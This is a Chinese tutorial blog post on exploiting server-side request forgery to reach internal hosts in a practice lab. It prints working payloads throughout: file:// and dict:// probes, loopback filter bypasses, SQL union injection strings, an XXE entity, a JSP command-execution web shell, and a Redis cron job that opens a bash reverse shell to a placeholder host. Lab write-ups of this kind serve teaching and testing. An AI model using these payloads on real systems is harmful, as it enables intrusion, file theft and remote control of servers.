SSRF内网打穿相关姿势

一、前言

服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者可以通过 SSRF 诱使服务器发起请求访问内部资源或外部资源。通常,这种漏洞利用服务器的信任关系进行未授权的访问,可能会导致信息泄露、内部系统扫描、代码执行等问题。SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。

简单来说就是SSRF 漏洞的根本原因是应用程序没有正确验证或限制用户输入的 URL 或 IP 地址,从而使得攻击者能够控制服务器发出的请求。

二、漏洞场景

SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。

  • 文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF 漏洞。
  • 图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发S SRF漏洞。
  • URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以 触发SSRF漏洞。
  • API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL, 以触发SSRF漏洞。
  • 分享:通过URL地址分享网页内容,攻击者手动更改分析网页内容
  • 所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞

三、漏洞函数

这里拿php函数作举例

php:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen ()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中 注入恶意代码来触发SSRF漏洞。

curl_exec

格式:curl_exec(resource $ch)

作用:执行 cURL 会话

file_get_contents

格式:file_get_contents(path,include_path,context,start,max_length)

作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。

fsockopen

格式:fsockopen(string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

作用:打开一个网络连接或者一个Unix 套接字连接。

四、SSRF中URL的伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

示例 file读取文件
<?php
  error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);

访问一些本地敏感文件

可以通过读取主机hosts文件获取当前主机的ip地址,得到网段情况

示例:dict端口探测

dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息 ,感兴趣的可以通过大模型来进行学习

SSRF中常配合dict协议探测一些端口开放情况,可显示出一些带tcp回显的端口

绕过
127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1 
http://localhost 
http://127.255.255.254 
127.0.0.1 - 127.255.255.254 
http://[::1] 
http://[::ffff:7f00:1] 
http://[::ffff:127.0.0.1] 
http://127.1 
http://127.0.1 
http://0:80
http://sudo.cc
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

302跳转
<?php
header('Location:http://127.0.0.1/flag.php');

五、靶机示例

我们这里使用国光师傅的靶机

靶场的源码:Github - sqlsec/ssrf-vuls

靶场拓补如下:

先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

判断ssrf是否存在

尝试一下正常访问外网

访问hosts目录得到内网网段

探测内网端口

可以遍历C段扫描这里可以迭代或者集束炸弹(clusterbomb),我们这里使用前者

第二位设为" : " 第三位设置为常用端口的字典(我这里上帝视角只放了能渗透的端口)

经过遍历整理出来的端口开放情况:

172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306
172.72.23.22:80 命令执行

首先我们通过ssrf发现能将请求内网的机器正常回显

如果我们想进行正常的目录扫描工作,可使用burp进行爆破常见敏感文件字典

可以很明显看到一个phpinfo.php 和shell.php

phpinfo 算是一个信息泄露

172.72.23.22/shell.php?cmd=cat%20flag

一个简单的命令执行,如果使用浏览器请求的话得把空格换成%20就是经过url编码一次

如果是由burp提交需要经过二次url编码

172.72.23.23 Sqli

这台机器就是最简单的sql联注就直接拿下,通过一些特殊字符代替空格,特殊字符二次解码即可

url=172.72.23.23id=-1'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),2,3,4%2523
url=172.72.23.23?id=-1'/**/union/**/select/**/(select/**/*/**/from/**/flag_is_here),2,3,4%2523  
172.72.23.24 命令注入

这个功能点典中典,但是远没有那么简单。这里提交方式这个是POST,这里再经过了一手SSRF没有办法直接通过http协议请求

这里可以通过gopher 协议传参,gopher是一个古老且强大的协议,可以传递最底层的 TCP 数据流 gopher 协,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可 以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、 Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

格式:gopher://<host>:<port>/<gopher-path>/_<TCP数据量>
这里我们先通过前面的靶机手动生成下我们的poc,方便我们理解这个协议后面再通过介绍工具生成

抓取源的POST数据包,进行url两次转码

最终payload

url=gopher://172.72.23.24:80/_<加上两次URL编码后的TCP数据流>

删除这一段请求头:Accept-Encoding: gzip, deflate,如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。

如图所示成功执行了我们的命令

172.72.23.25 XXE

这里xxe外部实体注入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file://etc/hosts" >]>
<user>
	<username>&xxe;</username>
	<password>admin</password>
</user>

老样子我们通过gopher协议提交

172.72.23.26:8080 Tomcat

CVE-2017-12615 任意文件上传漏洞,这在 Tomcat 漏洞历史中也是比较经典的一个。我这里早年写过一篇笔记,太简单了就不放上去了,没有复现过可的同学可以自行通过vulhub靶机来复现一次。

写入jsp一句话

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

改为PUT上传

还是老样子我们经过两次url编码后通过gopher传输

先传一个马子进去,显示201则表示传输成功

再尝试执行一下

172.72.23.27:6379 Redis未授权

Redis是一个key-value 存储系统,是跨平台的非关系型数据库。 Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞 攻击内网中的未授权Redis以及读取Redis的数据。 攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户, 攻击者可以通过写定时任务的方式进行反弹shell。

6379是redis的默认端口,输入完info后有信息回显redis版本号等等便可确认为未授权

可以通过dict协议创建定时任务反弹shell

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录,这里目标系统为ubuntu如果目标为centos可尝试将路径换成/var/spool/cron
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码

成功上线

如果要用gopher手动生成数据传输攻击非常繁琐。可利用gopherus工具生成 支持生成mysql, postgresql, fastcgi, redis, smtp, zabbix,pymemcache, rbmemcache, phpmemcache, dmpmemcache

项目地址: https://github.com/tarunkant/Gopherus 

直接将生成的poc在网页上提交,注意这里我们需要更改一下生成的地址

监听成功上线

后面还有一些像mysql提权 因为我这里用的另一位师傅Duoduo-chino上传docker-compose文件直接拉的环境,后面的环境没放。我懒鬼就先不做了,项目地址:Duoduo-chino · GitHub,这里如果有想所有一一复现的同学需要注意留心自己网络环境 可通过docker network ls 命令查看创建的网络名称,在后期启动容器时添加--network --ip 指定地址才可处于同一子网

六、参考

https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-28

  • 9
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明弟有理想

觉得有帮助可以投喂下博主~感谢

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值